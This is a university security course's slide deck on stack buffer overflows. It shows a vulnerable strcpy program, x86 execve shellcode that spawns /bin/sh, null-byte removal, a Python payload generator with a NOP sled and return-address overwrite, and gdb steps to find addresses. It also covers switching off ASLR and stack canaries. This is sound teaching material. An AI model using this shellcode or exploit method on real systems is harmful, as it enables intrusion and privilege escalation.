410 likes | 540 Views
Foundations of Network and Computer Security. J ohn Black. CSCI 6268/TLEN 5550, Spring 2014. Buffer Overflows. Biggest Vulnerability of 1997-2007 (or so) A lot of mitigation nowadays But still relevant since Older systems abound There are ways around the mitigation sometimes
E N D
Foundations of Network and Computer Security John Black CSCI 6268/TLEN 5550, Spring 2014
Buffer Overflows • Biggest Vulnerability of 1997-2007 (or so) • A lot of mitigation nowadays • But still relevant since • Older systems abound • There are ways around the mitigation sometimes • Other vulns are now more popular • Esp web-based attacks which are often easier to find, understand, and exploit
Buffer Overflows (cont) • This topic is highly technical • We assume you’ve had a course in assembler • Or you have x86 assembly experience somehow • Google “x86 assembler tutorial” if you need a refresher • You should have also used gdb before • There is a quick reference and a manual on our course page
Example main(int argc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); . . . • Why does C have so many poorly-designed library functions? • strcpy(), strcat(), sprintf(), gets(), etc…
Stack Frame (Activation Record) align stack to 22 = 4 byte boundary (this is how binaries are compiled on our class machine) disable canaries example1.c: void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; } void main() { function(1,2,3); } $ gcc -g -mpreferred-stack-boundary=2 -fno-stack-protector -o example1 example1.c
Disassembly, example1 (att) lower addrs Equivalent to push $dummy push 0x3 push 0x2 push 0x1 higher addrs main: 0x080483a3 <main+3>: sub $0x10,%esp 0x080483a6 <main+6>: movl $0x3,0x8(%esp) 0x080483ae <main+14>: movl $0x2,0x4(%esp) 0x080483b6 <main+22>: movl $0x1,(%esp) 0x080483bd <main+29>: call 0x8048394 <function>
Digression: att vs intel In gdb, (gdb) set disassembly-flavor intel gdb used to support only att, gcc uses it exclusively (though –masm=intel works on some platforms these days) Most hackers use att, but can speak intel when necessary
function() the above would be a little different with canaries (ie, without the –fno-stack-protector compiler option) ”leave” is equivalent to mov %ebp, %esp pop %ebp 0x08048394 <function+0>: push %ebp // save %ebp 0x08048395 <function+1>: mov %esp,%ebp // set new %ebp from %esp 0x08048397 <function+3>: sub $0x18,%esp // make 24 bytes of room // on stack for locals 0x0804839e <function+10>: leave // clean up %ebp, %esp 0x0804839f <function+11>: ret
Stack at time of function() call Note: buffers 1 and 2 start out uninitialized The ordering on the stack is NOT guaranteed to follow order of declarations
example3.c we’re directly overwriting the return address to illustrate program-flow an attacker can’t do this of course void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; int *ret; ret = buffer1 + 16; // set “ret” to point at the ret addr (*ret) += 7; // return 7 bytes later in text seg } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); }
Overflowing buffer1 If data are copied into buffer1 and the data are more than 8 bytes, an overflow occurs into the fields below the buffer’s area on the stack When function returns, it will go to the overwritten address specified by the attacker
Controlling the ret addr • If we overflow a buffer, we can control the return address • This is extremely powerful • Can jump to other parts of the code • Code that enables privs • Code that prints sensitive info • Code that just crashes (crash DNS, eg) • Can jump to our own code! • Assuming we can inject code… usually possible • This is usually called “shellcode”
Shellcode • Depending on the context, “shellcode” can do various things • Spawn a shell (that’s where the name comes from) • This assumes you have a tty attached to the victim • This assumes your injection doesn’t terminate with ^D • Open a bind shell • Open a reverse shell • Add a user to the system • Run a specific program
Let’s just spawn a shell • fork or exec? • Might as well exec since we don’t usually care about the parent • exit after exec? • Commonly seen, metasploit has the option, but seems unnecessary to me • what format should code be in? • Machine code, no question
shellcode.c: calling exec() execve looks here for executable argc is derived from length of this array; argv IS this array (but it must be copied… why?). NULL would work here just fine we leave envp NULL for now why didn’t I include the compiler options used before? • Write in C, compile, extract assembly into machine code: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } gcc -o shellcode -g -static shellcode.c
Shellcode Synopsis Have the null terminated string "/bin/sh" somewhere in memory. Have the address of the string "/bin/sh" somewhere in memory followed by a NULL long word. Copy 0xb into the EAX register. Copy the address of the string "/bin/sh” into the EBX register. Copy the address of the address of the string "/bin/sh" into the ECX register. Copy the address of the null long word into the EDX register. Execute the int $0x80 instruction.
Writing Shellcode movl string_addr, string_addr_addr movb $0x0, null_byte_addr movl $0x0, null_string movl $0xb,%eax movl string_addr, %ebx leal string_addr, %ecx leal null_string, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here
One Problem: Where is the /bin/sh string in memory? • We don’t know the address of buffer • So we don’t know the address of the string “/bin/sh” • We want our shellcode to be relocatable • A trick to find it: • JMP to the end of the code and CALL back to the start • These can use relative addressing modes • The CALL will put the return address on the stack and this will be the absolute address of the string • We will pop this string into a register! • To illustrate, assume our shellcode is injected on the stack
Shellcode on the stack buffer JJSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSCCsssssssssssssssssssss ret Jump to Shell Code 4 bytes a 1 b 2 4 bytes 3 4 bytes c
Our shellcode AAAABBBB only for illustrative purposes; not needed in shellcode but the memory has to be available to be overwritten start: jmp mcall ajmp: pop %ebx // ebx holds str_addr mov $0x0, %eax mov %al,0x7(%ebx) // null terminator mov %ebx,0x8(%ebx) // put str_addr at AAAA mov %eax,0xc(%ebx) // put 0000 at BBBB mov $0xb,%eax // kernel code for execve lea 0x8(%ebx),%ecx // ptr to array of ptrs (argv) lea 0xc(%ebx),%edx // ptr to 0000 (envp) int $0x80 mcall: call ajmp str_addr: “/bin/shxAAAABBBB”
inline.c assembler will automatically use relative jmp/call main() { __asm__( " jmpmcall \n\t" "ajmp: pop %ebx \n\t" " mov $0x0, %eax \n\t" " mov %al,0x7(%ebx) \n\t" " mov %ebx,0x8(%ebx) \n\t" " mov %eax,0xc(%ebx) \n\t" " mov $0xb,%eax \n\t" " lea 0x8(%ebx),%ecx \n\t" " lea 0xc(%ebx),%edx \n\t" " int $0x80 \n\t" "mcall: call ajmp \n\t" " .string \"/bin/sh\"" ); }
dataseg.c: put shellcode into .data (gdb) x/80xb the inline code to get the bytes for sc[] here, or $ objdump –D | grep –A40 main.: | less disassemble all sections, even data we have to include the xAAAABBBB this time; the memory wouldn’t be allocated otherwise, and this causes the code to fail char sc[] = "\xeb\x1c\x5b\xb8\x00\x00\x00\x00\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb8\x0b\x00\x00\x00\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xdf" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg sh4.2 $
Next Problem… strcpy • strcpy, strcat, etc… all stop operating at the first NULL byte • Our shellcode contains zeroes • we need to get rid of them • metasploit can do this for you (use a “filter”), along with any other bytes you don’t want • up to a limit, I assume • some shellcode has to be ASCII, or worse, [0-9][A-Z][a-z] • Just eliminating zeros isn’t too hard
Getting rid of zeroes 08048394 <main>: 8048394: 55 push %ebp 8048395: 89 e5 mov %esp,%ebp 8048397: 83 ec 04 sub $0x4,%esp 804839a: eb 1c jmp 80483b8 <mcall> 804839c: 5b pop %ebx 804839d: b8 00 00 00 00 mov $0x0,%eax 80483a2: 88 43 07 mov %al,0x7(%ebx) 80483a5: 89 5b 08 mov %ebx,0x8(%ebx) 80483a8: 89 43 0c mov %eax,0xc(%ebx) 80483ab: b8 0b 00 00 00 mov $0xb,%eax 80483b0: 8d 4b 08 lea 0x8(%ebx),%ecx 80483b3: 8d 53 0c lea 0xc(%ebx),%edx 80483b6: cd 80 int $0x80 80483b8: e8 df ff ffff call 804839c <ajmp> 80483bd: 2f das 80483be: 62 69 6e bound %ebp,0x6e(%ecx) 80483c1: 2f das 80483c2: 73 68 jae 804842c
Changing two offending instructions We eliminate the zeros while making the shellcode shorter at the same time! b8 00 00 00 00 mov $0x0,%eax 31 c0 xor %eax,%eax b8 0b 00 00 00 mov $0xb,%eax b0 0b mov $0xb,%al
dataseg2.c: amend two instructions we change the 2 instructions and adjust our jmp and call offsets still works! Our shellcode is 46 bytes char sc[] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg2 sh4.2 $
We’re Done! Well… • We have zero-less shellcode • It’s relocatable • We just need to inject it into a privileged victim and we can escalate with the spawned shell • Victim must be attached to your tty (both stdin and stdout) • You must be able to inject without an EOF • Pipes often won’t work • Often you would run a different command than /bin/sh • Consider modifying our shellcode to run l33t instead
Injection Options • The most obvious and natural place is to inject into the buffer we’re overflowing • That’s the example we’ve been working with • This assume that the buffer will not be modified before the function returns • We could inject after the ret addr too, but you will overwrite function parameters • Could mean you crash or have your shellcode modified before function returns • Let’s look at the methodology • It’s much easier to accomplish when you have source code alongside the binary victim on the local machine • Remote/blind exploits are much harder
victim.c main(intargc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); } • Obvious buffer overflow due to use of strcpy() instead of strncpy() • We’ll inject onto the stack, but where is the stack? • We need address to jump to, so we can overwrite the return address with it
Typical Stack Ptr Values • For a 32-bit machine • Without ASLR • echo 1 > /proc/sys/kernel/randomize_va_space • grep stack /proc/self/maps • ASLR is off on class machine • Increasingly on by default these days • Means you have to do a LOT more guessing • On 64-bit machines it becomes very hard • Stack ends near 0xc0000000 on our machine • gdb may slightly perturb this value • In particular, the length of the program’s name has an effect
Poking around… $ gdb -q victim (gdb) b main Breakpoint 1 at 0x80483cd: file victim.c, line 9. (gdb) r AAAAAAA Starting program: /home/jrblack/shellcode/victim AAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff8a4) at victim.c:9 9 if (argc == 2) (gdb) n 10 strcpy(filename, argv[1]); (gdb) n 11 } (gdb) x/4x filename 0xbffff718: 0x41414141 0x00414141 0x080481d0 0x00000001
Find addresses ret addr is at 0xbffff81c So we need to fill the buffer with shellcode, then whatever, then with the address 0xbffff718 starting 260 bytes into the buffer (gdb) p &filename[0] $1 = 0xbffff718 "AAAAAAA” (gdb) p &filename[256] $2 = 0xbffff818 "x▒▒▒u▒▒\002" (gdb) x/4 0xbffff818 0xbffff818: 0xbffff878 0xb7e8d775 0x00000002 0xbffff8a4
I use Python Let’s use gdb: gdb victim, b main, r $(./sc.py) • bash, perl, C all work fine $ cat sc.py #!/usr/bin/python sc = \ "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\ "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\ "\xff\xff\xff/bin/sh/xAAAABBBB" print sc + "A"*(256-len(sc))+"AAAA"+"\x18\xf7\xff\xbf"; $ ./victim $(./sc.py) Illegal Instruction $
Note: addresses found in gdb are only approximate • Ok trying 0xbffff618 • $ ./victim $(./sc.py) • Segmentation fault • $ • Ok, this isn’t working… larger arg size is shifting buffer • Introducing, “xchg %eax, %eax” • Does nothing, doesn’t even touch flag reg • Op code is 0x90 • Aka “NOP” • Let’s add a “NOP sled” to the front of our shellcode print "\x90"*(256-len(sc))+sc+"AAAA"+"\x18\xf7\xff\xbf"; changed back to 0xbffff718 since that’s about the midpoint of the sled
Going Sledding… Size of sled will depend on buffer space available If addr points ANYwhere among these NOP bytes, we win
Moral of the Story • Get really good at the debugger • Be persistent/obsessive • Pick up some Unix Programming skills along the way • You can get by glossing over them, but don’t
Get your gdbfu on • These are the commands I use most often in gdb • b func, b line#, b *<addr> • i r [reg_name] • where, bt • x/##<f><s> addr • ## is decimal • <f> is o, x, d, u, t, f, a, i, c, s • <s> is b, h, w, g • p/same expr • gdb is a hex/octal/decimal calculator (almost binary too) • l func/lineno • disasfunc/lineno/addr • Note gdb won’t let you disas some memory; use x/##iaddr
More gdbfu • And… • help <cmd> • r <args> • cont • n, ni, s, si • <enter> • <tab> • set follow-fork-mode child • cond <br#> expr • set {int}addr=val • lmgtfy
Hey, wait… can’t I just gdb the victim? • You can gdb the victim binaries, but… • They’re stripped at times • nm, strip • They drop euid/egid • because of ptrace (see next slide) • Often not a bad idea in order to get more accurate addresses • Still gdb perturbs things, so use a sled or put your exploit in a fork loop • I often still rebuild the source and operate locally so I can have –g • victims don’t have –g turned on
man ptrace PT_ATTACH This request allows a process to gain control of an otherwise unrelated process and begin tracing it. It does not need any cooperation from the to-be-traced process. In this case, pid specifies the process ID of the to-be-traced process, and the other two arguments are ignored. This request requires that the target process must have the same real UID as the tracing process, and that it must not be executing a setuid or setgid executable. (If the tracing process is running as root, these restrictions do not apply.) The tracing process will see the newly-traced process stop and may then control it as if it had been traced all along. Three other restrictions apply to all tracing processes, even those running as root. First, no process may trace a system process. Second, no process may trace the process running init(8). Third, if a process has its root directory set with chroot(2), it may not trace another process unless that process's root directory is at or below the tracing process's root.